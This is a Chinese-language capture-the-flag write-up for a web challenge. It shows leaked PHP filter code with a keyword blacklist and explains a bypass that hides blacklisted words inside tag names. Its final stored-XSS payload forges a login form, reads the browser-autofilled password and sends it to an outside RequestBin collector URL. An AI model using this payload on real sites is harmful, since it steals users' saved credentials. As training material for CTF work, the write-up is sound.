放假后的第一个题目,感觉思维有点跟不上了,应该还是自己太菜

随机登录一个账号进去,看到提示说不能注入,那我偏要试试
可以看到Feedback是一个留言板,然后List会显示留言的内容,感觉像是二次注入,不管了先试试
12!@#$%^&*()__{}|":<>?select union
先将符号全部留言一遍

可以发现还是存在着一些过滤的
发现输入了1^1并没有执行,可能一开始只是显示一下,并没有存入数据库呢?于是赶紧再尝试一个列子观察输入的1^1是否会被SQL语句执行出来
结果发现依然没有……只能看看别的地方了,一开始提示到源码泄露

- if(is_array($feedback)){
- echo "<script>alert('反馈不合法');</script>";
- return false;
- }
- $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
- foreach ($blacklist as $val) {
- while(true){
- if(stripos($feedback,$val) !== false){
- $feedback = str_ireplace($val,"",$feedback);
- }else{
- break;
- }
- }
- }
发现黑名单都是js的内容,于是这时候有一个念头冒出来了,是不是可能是XSS?之前见过几次但是很生,没怎么做过,于是尝试着在留言框输入一个
<scriphostt>alert(1);</scriphostt>
这样写的原因是因为script被过滤掉了,但是经过测试可以利用黑名单为空来进行绕过
- 输入scriphostt
- 过滤取空后就会变为 script

实现成功
但是不知道flag在哪里啊,经过查找可以发现在登录见面有一个源码js
- if (document.cookie && document.cookie != '') {
- var cookies = document.cookie.split('; ');#以;为标志切分cookie,分类
- var cookie = {};
- for (var i = 0; i < cookies.length; i++) {
- var arr = cookies[i].split('=');#以=为标志切分cookies,键值分开
- var key = arr[0];#键
- cookie[key] = arr[1];#值
- }
- if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
- document.getElementsByName("username")[0].value = cookie['user'];
- document.getElementsByName("password")[0].value = cookie['psw'];
- }
- }
根据所写注释可以知道js内容就是一个保存密码的机制
我们要获得的秘密就在 document.getElementsByName("password")[0].value里面
但是要怎么获得呢,只能看wp了,我的能力只能到此了
根据许多大佬的博客总结,这里利用到了一个XSS平台,他会给你一个url,然后会收集所有对于该url请求的报文分析RequestBin — Collect, inspect and debug HTTP requests and webhooks
根据F12对于登录框的分析

我们可以自己伪造一个简易的登录框,这里注意input也被过滤了,因此可以任意用一个黑名单元素来进行取空进行绕过
这里不要忘了要加上![]()
否则密码没进去
- <incookieput type="text" name="username">
- <incookieput type="password" name="password">
- <scrcookieipt scookierc="./js/login.js"></scrcookieipt>
- <scrcookieipt>
- var psw = docucookiement.getcookieElementsByName("password")[0].value;
- docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1hz5nj21/?a="+psw;
- </scrcookieipt>
将密码发到平台所给网址上面
等一会儿就可以看到请求
